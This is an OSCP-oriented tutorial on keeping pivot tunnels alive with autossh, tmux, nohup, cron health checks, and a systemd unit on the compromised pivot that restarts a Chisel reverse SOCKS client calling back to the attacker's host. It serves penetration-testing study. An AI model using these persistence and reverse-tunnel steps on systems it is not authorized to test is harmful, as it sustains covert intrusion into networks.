Maintaining Persistence During Tunnels
During an OSCP exam, your tunnel is your lifeline to the internal network. If it drops, you lose access to all internal targets. This guide covers techniques to keep tunnels alive and reliable.
The Problem
| Cause | Impact |
|---|---|
| Session death | Pivot reboots or process crashes — tunnel dies |
| Network instability | Packet loss or latency spikes — tunnel drops |
| User disconnect | You close your terminal — tunnel dies |
| SSH timeout | Idle SSH sessions get killed — tunnel dies |
| Resource exhaustion | Memory/CPU limits on pivot — process killed |
Solutions Comparison
| Method | Survives Disconnect | Auto-Reconnect | Auto-Start on Boot | Complexity |
|---|---|---|---|---|
| tmux / screen | Yes | No | No | Low |
| nohup | Yes | No | No | Low |
| autossh | Yes | Yes | No | Medium |
| Systemd service | Yes | Yes | Yes | Medium |
| Cron restart | Yes | Yes | Yes | Low |
Autossh — Auto-Reconnecting SSH Tunnels
Autossh automatically monitors and restarts SSH tunnel sessions.
Installation
sudo apt install autossh
Auto-Reconnecting SOCKS Tunnel
autossh -M 0 -N -D 1080 -o ServerAliveInterval=30 \
-o ServerAliveCountMax=3 user@10.10.10.5
Flag Explanations
| Flag | Purpose |
|---|---|
-M 0 |
Disable autossh uses SSH-level monitoring instead) |
-N |
No remote command (tunnel only) |
-D 1080 |
Dynamic SOCKS proxy on port 1080 |
-o ServerAliveInterval=30 |
Send keepalive every 30 seconds |
-o ServerAliveCountMax=3 |
Disconnect after 3 missed keepalives (90s) |
Background Autossh
# Run in background
autossh -f -M 0 -N -D 1080 -o ServerAliveInterval=30 \
-o ServerAliveCountMax=3 user@10.10.10.5
# Verify it's running
ps aux | grep autossh
Systemd Service for Chisel
Create a systemd service to auto-start and auto-restart Chisel on the pivot.
Service Unit File
# On the pivot machine
sudo nano /etc/systemd/system/chisel.service
[Unit]
Description=Chisel Tunnel Client
After=network.target
[Service]
Type=simple
ExecStart=/tmp/chisel client 10.10.14.3:8000 R:socks
Restart=always
RestartSec=10
StandardOutput=journal
StandardError=journal
[Install]
WantedBy=multi-user.target
Enable and Start
# Reload systemd
sudo systemctl daemon-reload
# Enable (auto-start on boot)
sudo systemctl enable chisel.service
# Start now
sudo systemctl start chisel.service
# Check status
sudo systemctl status chisel.service
# View logs
journalctl -u chisel.service -f
Tmux Workflow for Tunnel Management
Tmux keeps your sessions alive even if your SSH connection to Kali drops.
Basic Tmux Usage
# Create a new tmux session
tmux new -s tunnels
# Start your tunnel inside tmux
ssh -f -N -D 1080 user@10.10.10.5
chisel server --port 8000 --reverse
# Detach from tmux (Ctrl+B, then D)
# Your tunnels keep running!
# Reattach later
tmux attach -t tunnels
# List sessions
tmux ls
# Kill session
tmux kill-session -t tunnels
Multiple Windows for Multiple Tunnels
# Create session
tmux new -s tunnels
# Create new window (Ctrl+B, then C)
# Name it "ssh-tunnel"
# Start SSH tunnel here
# Create another window
# Name it "chisel-server"
# Start Chisel server here
# Switch between windows (Ctrl+B, then number)
Nohup and Background Process Management
Nohup
# Run tunnel in background, survives shell close
nohup ssh -N -D 1080 user@10.10.10.5 &
# Output goes to nohup.out by default
nohup chisel server --port 8000 --reverse > chisel.log 2>&1 &
Background with Disown
# Start process
ssh -N -D 1080 user@10.10.10.5 &
# Disown from current shell
disown
# Process continues even if shell exits
Cron-Based Tunnel Health Check
Create a cron job that checks if the tunnel is alive and restarts it if needed.
Health Check Script
# /home/kali/scripts/check_tunnel.sh
#!/bin/bash
# Check if SSH tunnel is alive
if ! ss -tlnp | grep -q ':1080'; then
# Tunnel is down, restart it
autossh -f -M 0 -N -D 1080 -o ServerAliveInterval=30 \
-o ServerAliveCountMax=3 user@10.10.10.5
fi
# Check if Chisel server is alive
if ! ss -tlnp | grep -q ':8000'; then
nohup chisel server --port 8000 --reverse > /tmp/chisel.log 2>&1 &
fi
Cron Job
# Edit crontab
crontab -e
# Run every 5 minutes
*/5 * * * * /home/kali/scripts/check_tunnel.sh
OSCP Exam Tips
- Use tmux from the start — create a
tunnelssession and run all tunnels inside it. - Autossh for SSH tunnels — auto-reconnect saves you from manual restarts.
- Systemd for Chisel on pivot — survives pivot reboots.
- Document your tunnel commands — keep a notes file with exact commands.
- Test tunnel health periodically —
curl http://localhost:[port]to verify. - Keep a backup tunnel method — if SSH drops, have Chisel ready as fallback.
- Use
nohupfor quick tunnels — simple and effective for short engagements.